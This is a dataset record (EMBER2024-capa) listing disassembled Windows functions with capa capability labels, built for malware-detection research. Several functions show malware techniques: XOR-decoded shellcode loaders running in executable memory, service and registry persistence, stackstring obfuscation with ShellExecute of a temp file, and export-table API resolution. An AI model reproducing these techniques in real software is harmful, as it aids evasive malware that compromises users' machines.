joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002abe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1002abef
pop dword [ebp - 0x1c]
mov eax, 0x1002abef
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xbb80a4a9
sub dword [ebp - 0x2c], 0x6d2e5f5e
mov dword [ebp - 0x28], 0xb71b4f1
sub dword [ebp - 0x28], 0xd93e68ac
mov dword [ebp - 0x24], 0x83a0d54
add dword [ebp - 0x24], 0x441236da
mov dword [ebp - 0x20], 0xbdbda2d3
add dword [ebp - 0x20], 0x42425d2d
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xc2c37ec1
add eax, 0x4d40f207
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x31afee0f
sub dword [ebp - 0x2c], 0xbd3d84b9
mov dword [ebp - 0x28], 0x37d2a44b
add dword [ebp - 0x28], 0x999bd2a
mov dword [ebp - 0x24], 0xd02792cb
add dword [ebp - 0x24], 0x9347d9a1
mov dword [ebp - 0x20], 0x3f6029b
add dword [ebp - 0x20], 0xfc09fd65
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xdade9a8a
add eax, 0x3525d65a
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x40d5c
push 0
call eax
mov ecx, 0xce53bfcb
sub ecx, 0xce53801a
mov esi, eax
mov edi, 0x62aa59a8
add edi, 0xad5bd658
add edi, dword [ebp - 0x1c]
mov edx, 0xacd5c3eb
add edx, 0x78c0b301
mov dword [ebp - 4], 0xee2bc864
mov ebx, dword [edi]
xor dword [ebp - 0x18], eax
sub ebx, edx
sub dword [ebp - 0x18], 0x1e293c40
mov dword [esi], ebx
xor dword [ebp - 0x18], edx
add esi, 0xe2e4c00e
add esi, 0x1d1b3ff6
add edi, 4
loop 0x1002ad0c
add eax, 0x1e2033e7
sub eax, 0x1e1f4250
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10032a80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100454eb
mov eax, dword fs:[0]
push eax
sub esp, 0xf4
mov eax, dword [0x10056018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx], 0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x44], eax
je 0x10032bf4
push 0x802
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0x400
call dword [sym.imp.MSVCR110.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov edi, eax
push 0x802
push 0
push edi
call sub.MSVCR110.dll_memset
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x10032afa
mov eax, dword [esi]
jmp 0x10032afc
mov eax, esi
lea ecx, [ebp - 0x4c]
push ecx
push edi
lea ecx, [ebp - 0x48]
push ecx
push 0
push eax
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdq
test eax, eax
jne 0x10032bc7
test edx, edx
jne 0x10032bc7
cmp dword [ebp - 0x48], 4
jne 0x10032b8e
mov esi, dword [edi]
sub esp, 8
lea ecx, [ebp - 0x100]
call fcn.1002abe0
push esi
lea ecx, [ebp - 0xf0]
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCP110.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int_]
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x100]
call fcn.1002abe0
mov ecx, dword [ebp - 0x44]
push eax
call fcn.1002abe0
cmp dword [ebp - 0x14], 8
jb 0x10032b75
push dword [ebp - 0x28]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.1002a840
push edi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov al, 1
jmp 0x10032bf6
cmp word [edi], 0
jne 0x10032b98
xor ecx, ecx
jmp 0x10032baf
mov ecx, edi
lea edx, [ecx + 2]
lea ecx, [ecx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10032ba0
sub ecx, edx
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x44]
push edi
call fcn.1002abe0
push edi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov al, 1
jmp 0x10032bf6
push esi
mov edx, str.Query_registry_value_with_key:
lea ecx, [ebp - 0x40]
call fcn.1002abe0
add esp, 4
cmp dword [ebp - 0x2c], 8
jb 0x10032bea
push dword [ebp - 0x40]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
push edi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fc71
mov esp, ebp
pop ebp
ret 8
Function at 0x1003df70
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp + 8]
push ecx
lea ebx, [esi + 8]
push eax
mov dword [esi], eax
mov dword [esi + 4], 0
mov dword [ebx], 0
call dword [sym.imp.version.dll_GetFileVersionInfoSizeW]
mov edi, eax
test edi, edi
je 0x1003dfed
lea ecx, [edi + 1]
push ecx
call dword [sym.imp.MSVCR110.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov dword [esi + 4], eax
test eax, eax
je 0x1003dfed
push eax
push edi
push 0
push dword [esi]
call dword [sym.imp.version.dll_GetFileVersionInfoW]
test eax, eax
je 0x1003dfda
lea eax, [ebp - 4]
push eax
push ebx
push str.VarFileInfoTranslation
push dword [esi + 4]
call dword [sym.imp.version.dll_VerQueryValueW]
test eax, eax
jne 0x1003dfed
push dword [esi + 4]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
mov dword [esi + 4], 0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x409070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40907f
pop dword [ebp - 0x48]
mov eax, 0x40907f
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3711a
push 0
mov eax, 0xd4f2b5eb
sub eax, 0xd4b1d513
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xeb6ba547
add ecx, 0x14949a2f
xor esi, esi
add esi, eax
mov edx, 0x12b3f88
sub edx, 0xea03c4
add edx, dword [ebp - 0x48]
mov edi, 0x98c1e6b6
sub dword [ebp - 0x20], eax
mov ebx, dword [edx]
sub dword [ebp - 0x30], 0xc471fd28
xor ebx, edi
xor dword [ebp - 0x18], 0x407f1dfe
mov dword [esi], ebx
sub dword [ebp - 0x18], 0x8eb72229
add esi, 0xd1902bb8
sub esi, 0xd1902bb4
add edx, 0x55d07349
sub edx, 0x55d07345
loop 0x4090d5
add eax, 0xf0ab
mov ebx, eax
add eax, 5
mov ecx, 0x63815195
sub ecx, 0x63415195
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x100b95a
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x1019084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
call fcn.0100ba2d
mov eax, 0x1000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x98]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.API_MS_Win_Core_SysInfo_L1_1_0.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x100b9fc
cmp dword [ebp - 0x94], 5
jb 0x100b9cf
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x100ba18
call fcn.01006223
test eax, eax
jl 0x100f3bb
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.01001c90
leave
ret
cmp dword [ebp - 0x88], 1
je 0x100f3a3
jmp 0x100b9cf
cmp dword [ebp - 0x90], 0
jbe 0x100b9cf
jmp 0x100b9cb
cmp dword [ebp - 0x94], 4
ja 0x100b9cb
je 0x100ba0b
jmp 0x100b9cf
mov byte [0x1019614], 1
jmp 0x100b9ed

Function at 0x1012d1a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1012d73
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1012d65
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x1012d61
cmp esi, eax
jae 0x1012d65
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x1012d53
cmp esi, eax
jb 0x1012d69
xor eax, eax
jmp 0x1012d72
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret 0xc
Function at 0x401031
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ecx
mov eax, dword [0x404104]
mov edx, dword fs:[eax]
push edx
pop eax
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [ecx + 0x30]
push 2
mov edi, dword [ebp + 8]
push edi
push eax
call fcn.004010bc
test eax, eax
jne 0x401060
nop
jmp 0x401068
nop
jmp 0x401064
mov ecx, edx
jmp 0x401048
mov eax, dword [ecx + 0x18]
push eax
mov ebx, dword [eax + 0x3c]
add eax, ebx
mov ebx, dword [eax + 0x78]
pop eax
push eax
add ebx, eax
mov ecx, dword [ebx + 0x1c]
mov edx, dword [ebx + 0x20]
mov ebx, dword [ebx + 0x24]
add ecx, eax
add edx, eax
add ebx, eax
mov esi, dword [edx]
pop eax
push eax
add esi, eax
push 1
push dword [ebp + 0xc]
push esi
call fcn.004010bc
test eax, eax
nop
je 0x4010a5
add edx, 4
add ebx, 2
jmp 0x401087
pop eax
xor edx, edx
mov dx, word [ebx]
shl edx, 2
add ecx, edx
add eax, dword [ecx]
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4012df
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
xor ebx, ebx
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetServicesWmSysNetwork
push 0x80000002
mov dword [ebp - 8], ebx
mov byte [ebp - 4], 0x10
mov byte [ebp - 3], 1
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40132d
push 4
lea eax, [ebp - 4]
push eax
push 4
push ebx
push str.Type
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 8], ebx
pop ebx
jne 0x401344
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x401453
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [0x4090a8], 1
lea eax, [ebp - 4]
push eax
jne 0x40146c
push 0xf013f
jmp 0x401471
push 0xf003f
push 0
push str.SOFTWARERegisterAppNt32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4014b9
push 0x40327c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.HOST_Value
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], 0
je 0x4014c8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret
Function at 0x4014d6
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x409070]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
push ebx
push edi
xor edi, edi
push 0x103
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x6f]
push edi
push eax
mov dword [ebp - 0x74], edi
mov byte [ebp - 0x70], 0
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x70]
push str.c:Windows
push eax
call sub.MSVCR90.dll_strcpy
lea eax, [ebp - 0x70]
push str._slocalconfig.dat
push eax
call sub.MSVCR90.dll_strcat
add esp, 0x1c
push edi
push edi
push 3
push edi
push 1
push 0x80000000
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4015c0
push esi
lea eax, [ebp - 0x80]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, edi
jne 0x40156b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4015bf
push esi
call dword [sym.imp.MSVCR90.dll_malloc]
pop ecx
push 0
mov edi, eax
lea eax, [ebp - 0x7c]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x7c], esi
jne 0x4015b3
xor eax, eax
test esi, esi
jbe 0x40159f
xor byte [eax + edi], 0x99
inc eax
cmp eax, esi
jb 0x401596
push esi
push edi
push dword [ebp - 0x78]
call fcn.004019a7
add esp, 0xc
mov dword [ebp - 0x74], 1
test edi, edi
je 0x4015bf
push edi
call dword [sym.imp.MSVCR90.dll_free]
pop ecx
pop esi
mov ecx, dword [ebp + 0x94]
mov eax, dword [ebp - 0x74]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040202c
add ebp, 0x98
leave
ret

Function at 0x4015da
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
cmp dword [0x4090a8], 1
lea eax, [ebp - 4]
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], esi
push eax
jne 0x401601
push 0xf013f
jmp 0x401606
push 0xf003f
push esi
push str.SOFTWARERegisterAppNt32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, esi
jne 0x401633
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push str.IP_Value
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp - 4], esi
pop esi
je 0x401642
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret
Function at 0x401646
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x409070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, 0x103
push esi
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x30
mov byte [ebp - 0xa], 0x2b
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], bl
mov byte [ebp - 0x218], bl
call sub.MSVCR90.dll_memset
push esi
lea eax, [ebp - 0x113]
push ebx
push eax
mov byte [ebp - 0x114], bl
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x10]
push eax
call sub.MSVCR90.dll_strlen
mov esi, eax
add esp, 0x1c
xor ecx, ecx
cmp esi, ebx
jle 0x4016e6
mov eax, ecx
and eax, 0x80000001
jns 0x4016db
dec eax
or eax, 0xfffffffe
inc eax
add al, 3
add byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, esi
jl 0x4016cd
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push str._s_s
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004015da
add esp, 0x18
test eax, eax
je 0x401752
push ebx
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.00401ac2
add esp, 0xc
push ebx
push ebx
push ebx
lea eax, [ebp - 0x114]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x114]
push eax
call fcn.004014d6
pop ecx
test eax, eax
je 0x401772
push ebx
push ebx
push ebx
lea eax, [ebp - 0x114]
push eax
push ebx
push ebx
call dword [edi + 0xc]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040202c
leave
ret

Function at 0x4019a7
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
push 0x40334c
push dword [esp + 0x10]
xor edi, edi
call dword [sym.imp.MSVCR90.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4019e5
push esi
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x10
cmp eax, dword [esp + 0x14]
jne 0x4019dd
inc edi
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
pop ecx
mov eax, edi
pop edi
pop esi
ret

Function at 0x4019ea
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
pop edi
je 0x401a36
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
push dword [ebp + 0x14]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
leave
ret
Function at 0x401d40
Capabilities:
Create service
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
xor ebx, ebx
push 2
push ebx
push ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x401d6f
push 6
pop ebx
lea ecx, [ebp - 0xc]
call fcn.00401bbd
pop edi
mov eax, ebx
pop ebx
leave
ret
movsx ecx, byte [0x4097e4]
neg ecx
sbb ecx, ecx
and ecx, 0x4097e4
push ecx
movsx ecx, byte [0x4096e0]
neg ecx
sbb ecx, ecx
and ecx, 0x4096e0
push ecx
push 0x4095dc
push ebx
push ebx
push 0x4093c4
push dword [0x4095d8]
push dword [0x4095d4]
push dword [0x4095d0]
push dword [0x4095cc]
push 0x4091bc
push 0x4090b8
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, ebx
jne 0x401ddb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x401d61
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
lea eax, [ebp - 4]
push eax
push 1
push edi
mov dword [ebp - 4], 0x4092c0
call esi
push 0x4098e8
push 2
push edi
mov dword [0x4098f4], 3
call esi
pop esi
jmp 0x401d61

Function at 0x40202c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409070]
jne 0x402036
repz ret
jmp fcn.0040250e
Function at 0x401e26
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401e65
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401e65
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401e65
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401e65
cmp dword [ecx + 0x74], 0xe
jbe 0x401e65
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401fc0
Capabilities:
Create directory
Get common file path

Disassembly:
mov eax, dword [0x5ca9b4]
cmp dword [eax - 0xc], 0
jne 0x4020c3
mov ecx, dword [eax - 8]
push ebx
mov ebx, 1
sub ecx, 0x400
mov edx, ebx
sub edx, dword [eax - 4]
or edx, ecx
push esi
jge 0x401ffc
push 0x400
mov ecx, 0x5ca9b4
call fcn.00406a40
mov eax, dword [0x5ca9b4]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x5ca9b4]
push dword [eax - 8]
push eax
call fcn.0054829c
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x4020c4
mov eax, dword [0x5ca9b4]
cmp ecx, dword [eax - 8]
jg 0x4020c4
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [0x5ca9b4]
xor esi, esi
mov word [eax + ecx*2], dx
mov eax, dword [0x5ca9b4]
mov edx, eax
movzx ecx, word [eax]
test cx, cx
je 0x4020b3
push edi
mov edi, ecx
cmp di, 0x5c
jne 0x402064
test esi, esi
mov ecx, edx
cmovne ecx, esi
mov esi, ecx
jmp 0x402066
xor esi, esi
movzx ecx, word [edx + 2]
add edx, 2
mov edi, ecx
test cx, cx
jne 0x402053
pop edi
test esi, esi
je 0x4020b3
sub esi, eax
sar esi, 1
js 0x4020c4
mov edx, dword [eax - 8]
sub ebx, dword [eax - 4]
sub edx, esi
or ebx, edx
jge 0x40209b
push esi
mov ecx, 0x5ca9b4
call fcn.00406a40
mov eax, dword [0x5ca9b4]
cmp esi, dword [eax - 8]
jg 0x4020c4
mov dword [eax - 0xc], esi
xor ecx, ecx
mov eax, dword [0x5ca9b4]
mov word [eax + esi*2], cx
mov eax, dword [0x5ca9b4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [0x5ca9b4]
pop esi
pop ebx
ret
push 0x80070057
call fcn.00406d80
int3
Function at 0x406140
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x406169
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40617f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x406176
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x4061b2
nop
cmp esi, ecx
jae 0x406176
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x4061a0
cmp esi, ecx
jae 0x406176
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x406260
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
call fcn.00409e96
mov ebx, eax
test ebx, ebx
jne 0x406280
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x406353
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406353
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x406353
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x4062e4
cmp esi, ecx
jae 0x406353
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x4062d2
cmp esi, ecx
jae 0x406353
movzx eax, word [esi]
test ax, ax
je 0x406353
mov ebx, dword [ebp - 4]
mov edi, eax
mov dword [ebp + 8], eax
mov ecx, 1
mov edx, dword [ebx]
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, edi
or ecx, eax
jge 0x40631a
push edi
mov ecx, ebx
call fcn.00406a40
mov edx, dword [ebx]
movzx eax, word [esi]
jmp 0x40631d
mov eax, dword [ebp + 8]
movzx ecx, ax
lea eax, [esi + 2]
push ecx
push eax
push edi
push edx
call fcn.0054844c
push eax
call fcn.004061d0
mov eax, dword [ebx]
add esp, 0x14
cmp edi, dword [eax - 8]
jg 0x40635e
mov dword [eax - 0xc], edi
xor ecx, ecx
mov eax, dword [ebx]
pop esi
mov word [eax + edi*2], cx
lea eax, [ecx + 1]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00406d80
int3

Function at 0x406e50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0040f79b